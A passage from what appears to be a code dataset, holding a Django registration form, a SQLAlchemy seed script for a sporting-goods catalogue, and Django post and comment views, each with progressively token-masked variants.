'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n <function token>\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n"
] | false |
9,923 |
964499c02548a7e790d96efcd780f471ab1fe1e3
|
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from database_setup import Category, Base, CategoryItem, User
engine = create_engine('postgresql:///thegoodybasket')
# Bind the engine to the metadata of the Base class so that the
# declaratives can be accessed through a DBSession instance
Base.metadata.bind = engine
DBSession = sessionmaker(bind=engine)
# A DBSession() instance establishes all conversations with the database
# and represents a "staging zone" for all the objects loaded into the
# database session object. Any change made against the objects in the
# session won't be persisted into the database until you call
# session.commit(). If you're not happy about the changes, you can
# revert all of them back to the last commit by calling
# session.rollback()
session = DBSession()
# Create dummy user
User1 = User(name="Robo Barista", email="[email protected]",
picture='profile1.jpg')
session.add(User1)
session.commit()
User2 = User(name="Lisa Rodriguez", email="[email protected]",
picture='profile2.jpg')
session.add(User2)
session.commit()
User3 = User(name="Hannah Martin", email="[email protected]",
picture='profile3.jpg')
session.add(User3)
session.commit()
User4 = User(name="Brad Phillips", email="[email protected]",
picture='profile4.jpg')
session.add(User4)
session.commit()
User5 = User(name="Marv Robins", email="[email protected]",
picture='profile5.jpg')
session.add(User5)
session.commit()
User6 = User(name="Jennifer Andrews", email="[email protected]",
picture='profile6.jpg')
session.add(User6)
session.commit()
# items for Snowboarding
category1 = Category(user_id=1, name="Snowboarding")
session.add(category1)
session.commit()
categoryItem1 = CategoryItem(user_id=1, name="White Snowboard", description="Brand new white 145cm pro model. Also available in red, orange and grey.",
price="$250.00", picture="snowboard_white.jpg", category=category1)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=1, name="Snow Jacket", description="Warm and puffy red snow jacket. Perfect for keeping warm!",
price="$199.99", picture="jacket.jpg", category=category1)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=1, name="Snow Goggles", description="Brand new 2015 model anti-glare, removable lens and adjustable strap goggles.",
price="$49.99", picture="snow_goggles.jpg", category=category1)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=1, name="Snow Gloves", description="Thick and padded snow gloves to keep toasty hands. Available in red and black.",
price="$39.99", picture="ski_gloves.jpg", category=category1)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=1, name="Snow Hat", description="Keep your head warm with this knitted-by-hand snow hat.",
price="$17.99", picture="warm_hat.jpg", category=category1)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=1, name="Ray-Ban Aviators", description="Keep cool on the slopes with these huge aviators.",
price="$1.99", picture="ray_bans.jpg", category=category1)
session.add(categoryItem6)
session.commit()
# Items for Skiing
category2 = Category(user_id=2, name="Skiing")
session.add(category2)
session.commit()
categoryItem1 = CategoryItem(user_id=2, name="Ski Boots", description="Warm, lightweight and super rugged ski boots. Available in all sizes.",
price="$175.50", picture="ski_boots.jpg", category=category2)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=2, name="Ski Gloves", description="Padded and warm waterproof gloves, available in red and black.",
price="$52.99", picture="ski_gloves.jpg", category=category2)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=2, name="K2 Soloman Skis", description="Brand new 2015 Solomon K2 skis in size 175.",
price="$450.00", picture="k2_skis.jpg", category=category2)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=2, name="Walking Boots", description="Warm and weatherproof. Available in all sizes.",
price="$69.99", picture="walking_boots.jpg", category=category2)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=2, name="Enhanced walking boots", description="Made with grade A beef",
price="$7.99", picture="walking_boots.jpg", category=category2)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=2, name="Gold plated walking boots", description="16oz of refreshing goodness",
price="$1.99", picture="walking_boots.jpg", category=category2)
session.add(categoryItem6)
session.commit()
# Items for Laptops
category3 = Category(user_id=3, name="Laptops")
session.add(category3)
session.commit()
categoryItem1 = CategoryItem(user_id=3, name="Retina MacBook Pro 13 inch", description="MacBook Pro 13-inch dual-core i5 2.5GHz/4GB/500GB/HD Graphics 4000/SD",
price="$999.00", picture="macbook.jpg", category=category3)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=3, name="Microsoft Surface Pro 3", description="Microsoft Surface Pro 3 256GB Silver tablet with keyboard.",
price="$799.99", picture="surface_pro.jpg", category=category3)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=3, name="Sony Vaio", description="Sony Vaio VPCX13C7E Notebook Intel Atom (Z540).",
price="$5.50", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=3, name="Sony Vaio Mk 2", description="fresh baked and served with ice cream",
price="$3.99", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=3, name="Enhanced Sony Vaio", description="Made with grade A beef instead of silicon chips.",
price="$7.99", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=3, name="Root Beer", description="16oz of refreshing goodness",
price="$1.99", picture="sony_vaio.jpg", category=category3)
session.add(categoryItem6)
session.commit()
# Items for biking category.
category4 = Category(user_id=4, name="Biking")
session.add(category4)
session.commit()
categoryItem1 = CategoryItem(user_id=4, name="Racing Bike", description="Feel the speed with this super light and stiff carbon fibre racing bike.",
price="$1499.99", picture="racing_bike.jpg", category=category4)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=4, name="Bike Helmet", description="Protect your head from falls with a super strong helmet.",
price="$22.99", picture="bike_helmet.jpg", category=category4)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=4, name="Bike Chain", description="Spare chain with a full range of sizes and types available.",
price="$15.50", picture="bike_chain.jpg", category=category4)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=4, name="27 Inch Tyre", description="A wonderfully resistant tyre with Smart Guard protection.",
price="$33.99", picture="bike_tyres.jpg", category=category4)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=4, name="Puncture Repair Kit", description="Part of the essentials list when preparing for a bike ride.",
price="$15.99", picture="puncture_repair_kit.jpg", category=category4)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=4, name="White Stripe Crash Helmet", description="Colourful and stylish streamlined biking helmet.",
price="$29.99", picture="bike_helmet2.jpg", category=category4)
session.add(categoryItem6)
session.commit()
# Items for surfing category.
category5 = Category(user_id=5, name="Surfing")
session.add(category5)
session.commit()
categoryItem1 = CategoryItem(user_id=5, name="Surf Wax", description="Essential surfboard traction.",
price="$7.50", picture="surf_wax.jpg", category=category5)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=5, name="Surfboard", description="This versatile shape will glide you through the waves.",
price="$299.99", picture="surfboard.jpg", category=category5)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=5, name="Wetsuit", description="Keep warm and protected in the cold months.",
price="$150.00", picture="wetsuit.jpg", category=category5)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=5, name="Flip Flops", description="Blue, easy fit slip on.",
price="$3.99", picture="flip_flops.jpg", category=category5)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=5, name="Hat", description="Hat for chilling in the beach sun.",
price="$7.99", picture="flip_flops.jpg", category=category5)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=5, name="Root Beer soaked flip-flops", description="16oz of refreshing goodness poured over a fresh set of flip-flops",
price="$1.99", picture="flip_flops.jpg", category=category5)
session.add(categoryItem6)
session.commit()
print "Added Category items and users!"
|
[
"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom database_setup import Category, Base, CategoryItem, User\n\nengine = create_engine('postgresql:///thegoodybasket')\n# Bind the engine to the metadata of the Base class so that the\n# declaratives can be accessed through a DBSession instance\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\n# A DBSession() instance establishes all conversations with the database\n# and represents a \"staging zone\" for all the objects loaded into the\n# database session object. Any change made against the objects in the\n# session won't be persisted into the database until you call\n# session.commit(). If you're not happy about the changes, you can\n# revert all of them back to the last commit by calling\n# session.rollback()\nsession = DBSession()\n\n\n# Create dummy user\nUser1 = User(name=\"Robo Barista\", email=\"[email protected]\",\n picture='profile1.jpg')\nsession.add(User1)\nsession.commit()\n\nUser2 = User(name=\"Lisa Rodriguez\", email=\"[email protected]\",\n picture='profile2.jpg')\nsession.add(User2)\nsession.commit()\n\nUser3 = User(name=\"Hannah Martin\", email=\"[email protected]\",\n picture='profile3.jpg')\nsession.add(User3)\nsession.commit()\n\nUser4 = User(name=\"Brad Phillips\", email=\"[email protected]\",\n picture='profile4.jpg')\nsession.add(User4)\nsession.commit()\n\nUser5 = User(name=\"Marv Robins\", email=\"[email protected]\",\n picture='profile5.jpg')\nsession.add(User5)\nsession.commit()\n\nUser6 = User(name=\"Jennifer Andrews\", email=\"[email protected]\",\n picture='profile6.jpg')\nsession.add(User6)\nsession.commit()\n\n# items for Snowboarding\ncategory1 = Category(user_id=1, name=\"Snowboarding\")\n\nsession.add(category1)\nsession.commit()\n\ncategoryItem1 = CategoryItem(user_id=1, name=\"White Snowboard\", description=\"Brand new white 145cm pro model. Also available in red, orange and grey.\",\n price=\"$250.00\", picture=\"snowboard_white.jpg\", category=category1)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=1, name=\"Snow Jacket\", description=\"Warm and puffy red snow jacket. Perfect for keeping warm!\",\n price=\"$199.99\", picture=\"jacket.jpg\", category=category1)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=1, name=\"Snow Goggles\", description=\"Brand new 2015 model anti-glare, removable lens and adjustable strap goggles.\",\n price=\"$49.99\", picture=\"snow_goggles.jpg\", category=category1)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=1, name=\"Snow Gloves\", description=\"Thick and padded snow gloves to keep toasty hands. Available in red and black.\",\n price=\"$39.99\", picture=\"ski_gloves.jpg\", category=category1)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=1, name=\"Snow Hat\", description=\"Keep your head warm with this knitted-by-hand snow hat.\",\n price=\"$17.99\", picture=\"warm_hat.jpg\", category=category1)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=1, name=\"Ray-Ban Aviators\", description=\"Keep cool on the slopes with these huge aviators.\",\n price=\"$1.99\", picture=\"ray_bans.jpg\", category=category1)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for Skiing\ncategory2 = Category(user_id=2, name=\"Skiing\")\n\nsession.add(category2)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=2, name=\"Ski Boots\", description=\"Warm, lightweight and super rugged ski boots. Available in all sizes.\",\n price=\"$175.50\", picture=\"ski_boots.jpg\", category=category2)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=2, name=\"Ski Gloves\", description=\"Padded and warm waterproof gloves, available in red and black.\",\n price=\"$52.99\", picture=\"ski_gloves.jpg\", category=category2)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=2, name=\"K2 Soloman Skis\", description=\"Brand new 2015 Solomon K2 skis in size 175.\",\n price=\"$450.00\", picture=\"k2_skis.jpg\", category=category2)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=2, name=\"Walking Boots\", description=\"Warm and weatherproof. Available in all sizes.\",\n price=\"$69.99\", picture=\"walking_boots.jpg\", category=category2)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=2, name=\"Enhanced walking boots\", description=\"Made with grade A beef\",\n price=\"$7.99\", picture=\"walking_boots.jpg\", category=category2)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=2, name=\"Gold plated walking boots\", description=\"16oz of refreshing goodness\",\n price=\"$1.99\", picture=\"walking_boots.jpg\", category=category2)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for Laptops\ncategory3 = Category(user_id=3, name=\"Laptops\")\n\nsession.add(category3)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=3, name=\"Retina MacBook Pro 13 inch\", description=\"MacBook Pro 13-inch dual-core i5 2.5GHz/4GB/500GB/HD Graphics 4000/SD\",\n price=\"$999.00\", picture=\"macbook.jpg\", category=category3)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=3, name=\"Microsoft Surface Pro 3\", description=\"Microsoft Surface Pro 3 256GB Silver tablet with keyboard.\",\n price=\"$799.99\", picture=\"surface_pro.jpg\", category=category3)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=3, name=\"Sony Vaio\", description=\"Sony Vaio VPCX13C7E Notebook Intel Atom (Z540).\",\n price=\"$5.50\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=3, name=\"Sony Vaio Mk 2\", description=\"fresh baked and served with ice cream\",\n price=\"$3.99\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=3, name=\"Enhanced Sony Vaio\", description=\"Made with grade A beef instead of silicon chips.\",\n price=\"$7.99\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=3, name=\"Root Beer\", description=\"16oz of refreshing goodness\",\n price=\"$1.99\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for biking category.\ncategory4 = Category(user_id=4, name=\"Biking\")\n\nsession.add(category4)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=4, name=\"Racing Bike\", description=\"Feel the speed with this super light and stiff carbon fibre racing bike.\",\n price=\"$1499.99\", picture=\"racing_bike.jpg\", category=category4)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=4, name=\"Bike Helmet\", description=\"Protect your head from falls with a super strong helmet.\",\n price=\"$22.99\", picture=\"bike_helmet.jpg\", category=category4)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=4, name=\"Bike Chain\", description=\"Spare chain with a full range of sizes and types available.\",\n price=\"$15.50\", picture=\"bike_chain.jpg\", category=category4)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=4, name=\"27 Inch Tyre\", description=\"A wonderfully resistant tyre with Smart Guard protection.\",\n price=\"$33.99\", picture=\"bike_tyres.jpg\", category=category4)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=4, name=\"Puncture Repair Kit\", description=\"Part of the essentials list when preparing for a bike ride.\",\n price=\"$15.99\", picture=\"puncture_repair_kit.jpg\", category=category4)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=4, name=\"White Stripe Crash Helmet\", description=\"Colourful and stylish streamlined biking helmet.\",\n price=\"$29.99\", picture=\"bike_helmet2.jpg\", category=category4)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for surfing category.\ncategory5 = Category(user_id=5, name=\"Surfing\")\n\nsession.add(category5)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=5, name=\"Surf Wax\", description=\"Essential surfboard traction.\",\n price=\"$7.50\", picture=\"surf_wax.jpg\", category=category5)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=5, name=\"Surfboard\", description=\"This versatile shape will glide you through the waves.\",\n price=\"$299.99\", picture=\"surfboard.jpg\", category=category5)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=5, name=\"Wetsuit\", description=\"Keep warm and protected in the cold months.\",\n price=\"$150.00\", picture=\"wetsuit.jpg\", category=category5)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=5, name=\"Flip Flops\", description=\"Blue, easy fit slip on.\",\n price=\"$3.99\", picture=\"flip_flops.jpg\", category=category5)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=5, name=\"Hat\", description=\"Hat for chilling in the beach sun.\",\n price=\"$7.99\", picture=\"flip_flops.jpg\", category=category5)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=5, name=\"Root Beer soaked flip-flops\", description=\"16oz of refreshing goodness poured over a fresh set of flip-flops\",\n price=\"$1.99\", picture=\"flip_flops.jpg\", category=category5)\n\nsession.add(categoryItem6)\nsession.commit()\n\nprint \"Added Category items and users!\""
] | true |
9,924 |
e9fab2bb49cfda00b8cfedafab0009f691d11ec9
|
from django.shortcuts import render, get_object_or_404, redirect
from django.contrib.contenttypes.models import ContentType
from User.forms import EditProfileForm
from User import forms
from django.db.models import Q
from django.contrib import messages
from django.urls import reverse
from django.http import HttpResponseRedirect
from posts.forms import *
# Create your views here.
from .models import Post
from comments.models import *
from comments.forms import *
def post_create(request):
form = PostForm(request.POST or None, request.FILES or None)
if request.method == "POST":
user= request.POST.get("user")
title = request.POST.get("title")
content = request.POST.get("content")
PostStudent.objects.create(user=user, title=title,content=content)
messages.success(request, "Successfully Posted")
#if form.is_valid():
#instance = form.save(commit=False)
#instance.save()
context = {
"form": form,
}
return render(request, "post/create_post.html", context)
def temp_post(request):
return render(request, 'post/Posts.html', {})
def temp_allpost(request):
obj = Post.objects.all()
context = {'obj': obj}
return render(request, 'post/All_Post.html', context)
def allpoststudents(request):
if not request.user.is_staff or request.user.is_staff:
obj = PostStudent.objects.all().order_by("-timestamp")
query = request.GET.get("q")
if query:
obj = obj.filter(
Q(title__icontains=query)|
Q(content__icontains=query)|
Q(user__icontains=query)|
Q(timestamp__icontains=query)
).distinct()
context = {'obj': obj}
return render(request, 'post/All_Post_Students.html', context)
def post_update(request, id=None):
instance = get_object_or_404(Post, id=id)
form = PostForm(request.POST or None, instance=instance)
if form.is_valid():
instance = form.save(commit=False)
instance.save()
messages.success(request, "<a href='#'>Item </a>Saved", extra_tags='html_safe')
return HttpResponseRedirect(instance.get_absolute_url())
context = {
"title": instance.title,
"instance": instance,
"form": form,
}
return render(request, "post/create_post.html", context)
def post_details(request, id=None):
instance = get_object_or_404(Post, id=id)
content_type = ContentType.objects.get_for_model(Post)
obj_id = instance.id
comments = Comment.objects.filter(content_type=content_type, object_id=obj_id)
initial_data = {
"content_type": content_type,
"object_id": instance.id
}
form = CommentForm(request.POST or None, initial= initial_data)
if form.is_valid():
c_type = form.cleaned_data.get("content_type")
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get("object_id")
content_data = form.cleaned_data.get("content")
parent_obj = None
try:
parent_id = int(request.POST.get("parent_id"))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = Comment.objects.get_or_create(
user = request.user,
content_type = content_type,
object_id = obj_id,
content = content_data,
parent = parent_obj,
)
context = {
"title":instance.title,
"instance":instance,
"comments": comments,
"form": form,
"obj_id": obj_id,
}
return render(request, "post/Posts.html", context)
def post_details_student(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
content_type = ContentType.objects.get_for_model(PostStudent)
obj_id = instance.id
comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id)
initial_data = {
"content_type": content_type,
"object_id": instance.id
}
form = CommentForm(request.POST or None, initial=initial_data)
if form.is_valid():
c_type = form.cleaned_data.get("content_type")
content_type = ContentType.objects.get(model=c_type)
obj_id = form.cleaned_data.get("object_id")
content_data = form.cleaned_data.get("content")
parent_obj = None
try:
parent_id = int(request.POST.get("parent_id"))
except:
parent_id = None
if parent_id:
parent_qs = Comment.objects.filter(id=parent_id)
if parent_qs.exists():
parent_obj = parent_qs.first()
new_comment, created = CommentStudent.objects.get_or_create(
user=request.user,
content_type=content_type,
object_id=obj_id,
content=content_data,
parent=parent_obj,
)
context = {
"title": instance.title,
"instance": instance,
"comments": comments,
"form": form,
"obj_id": obj_id,
}
return render(request, "post/post_details_student.html", context)
def post_delete(request, id=None):
instance = get_object_or_404(PostStudent, id=id)
instance.delete()
messages.success(request, "Successfully deleted")
return render(request, 'post/All_Post_Students.html', {})
|
[
"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.contenttypes.models import ContentType\nfrom User.forms import EditProfileForm\nfrom User import forms\nfrom django.db.models import Q\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect\nfrom posts.forms import *\n\n\n# Create your views here.\nfrom .models import Post\nfrom comments.models import *\nfrom comments.forms import *\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == \"POST\":\n user= request.POST.get(\"user\")\n title = request.POST.get(\"title\")\n content = request.POST.get(\"content\")\n PostStudent.objects.create(user=user, title=title,content=content)\n messages.success(request, \"Successfully Posted\")\n #if form.is_valid():\n #instance = form.save(commit=False)\n #instance.save()\n context = {\n \"form\": form,\n\n }\n return render(request, \"post/create_post.html\", context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\ndef temp_allpost(request):\n obj = Post.objects.all()\n context = {'obj': obj}\n return render(request, 'post/All_Post.html', context)\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by(\"-timestamp\")\n query = request.GET.get(\"q\")\n if query:\n obj = obj.filter(\n Q(title__icontains=query)|\n Q(content__icontains=query)|\n Q(user__icontains=query)|\n Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags='html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n\n context = {\n \"title\": instance.title,\n \"instance\": instance,\n \"form\": form,\n }\n return render(request, \"post/create_post.html\", context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=obj_id)\n initial_data = {\n \"content_type\": content_type,\n \"object_id\": instance.id\n }\n form = CommentForm(request.POST or None, initial= initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get(\"content_type\")\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get(\"object_id\")\n content_data = form.cleaned_data.get(\"content\")\n parent_obj = None\n try:\n parent_id = int(request.POST.get(\"parent_id\"))\n except:\n parent_id = None\n\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n\n new_comment, created = Comment.objects.get_or_create(\n user = request.user,\n content_type = content_type,\n object_id = obj_id,\n content = content_data,\n parent = parent_obj,\n )\n\n\n\n context = {\n \"title\":instance.title,\n \"instance\":instance,\n \"comments\": comments,\n \"form\": form,\n \"obj_id\": obj_id,\n }\n return render(request, \"post/Posts.html\", context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id)\n initial_data = {\n \"content_type\": content_type,\n \"object_id\": instance.id\n }\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get(\"content_type\")\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get(\"object_id\")\n content_data = form.cleaned_data.get(\"content\")\n parent_obj = None\n try:\n parent_id = int(request.POST.get(\"parent_id\"))\n except:\n parent_id = None\n\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n\n new_comment, created = CommentStudent.objects.get_or_create(\n user=request.user,\n content_type=content_type,\n object_id=obj_id,\n content=content_data,\n parent=parent_obj,\n )\n\n context = {\n \"title\": instance.title,\n \"instance\": instance,\n \"comments\": comments,\n \"form\": form,\n \"obj_id\": obj_id,\n }\n return render(request, \"post/post_details_student.html\", context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, \"Successfully deleted\")\n return render(request, 'post/All_Post_Students.html', {})\n",
"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.contenttypes.models import ContentType\nfrom User.forms import EditProfileForm\nfrom User import forms\nfrom django.db.models import Q\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect\nfrom posts.forms import *\nfrom .models import Post\nfrom comments.models import *\nfrom comments.forms import *\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\ndef temp_allpost(request):\n obj = Post.objects.all()\n context = {'obj': obj}\n return render(request, 'post/All_Post.html', context)\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = 